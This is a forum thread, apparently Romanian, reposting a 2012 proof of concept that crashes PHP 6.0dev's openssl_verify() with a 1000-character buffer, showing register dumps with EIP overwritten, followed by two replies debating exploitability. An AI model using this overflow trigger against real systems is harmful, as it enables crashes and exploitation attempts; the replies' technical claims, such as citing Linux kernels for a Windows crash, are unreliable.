Jump to content
DarkyAngel

PHP 6.0 openssl_verify() Local Buffer Overflow PoC

Recommended Posts

Posted

PHP 6.0 openssl_verify() Local Buffer Overflow PoC

<?php
// ==================================================================================
//
// PHP 6.0 openssl_verify() Local Buffer Overflow PoC
//
// Tested on WIN XP, Apache, PHP 6.0dev. Local Buffer Overflow.
//
// Local Buffer Overflow
// Author: Pr0T3cT10n <pr0t3ct10n@gmail.com>
//
// ==================================================================================
//
// REGISTERS:
// EAX 000003D0, ECX 00BBDB28, EDX 00BBDAD8
// EBX 00BBC940, ESP 0012FB5C UNICODE "AAA...."
// ESI 00BBC940, EDI 00831D00, EBP 0012FBF0 UNICODE "AAA...."
// EIP 00410041
//
// ==================================================================================

$buffer = str_repeat("A", 1000);
openssl_verify(1,1,$buffer);
?>


# 1337day.com [2012-07-20]

Sursa

Posted

Demonstreaza ca e vulnerabil, dar nu si faptul ca poate fi exploatat.Si e greu de exploatat chiar plecand din kernel-urile 2.6.12 dar e mai usor sa precizezi ca e vulnerabil si sa ii faci un POC decat sa demonstrezi ca poate fi exploatat.

Posted

Pai depinde de arhitectura sistemului si cum a stampat reprezentarile registrului . Ori vine rescris in intregime ori 2 caractere zboara in alta parte ori 100 de caractere nu ajung sa rescrie toata adresa dar poate nici el saracul nu stie.De obicei uneori in sistemele 64biti vezi asemenea reprezentari.

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...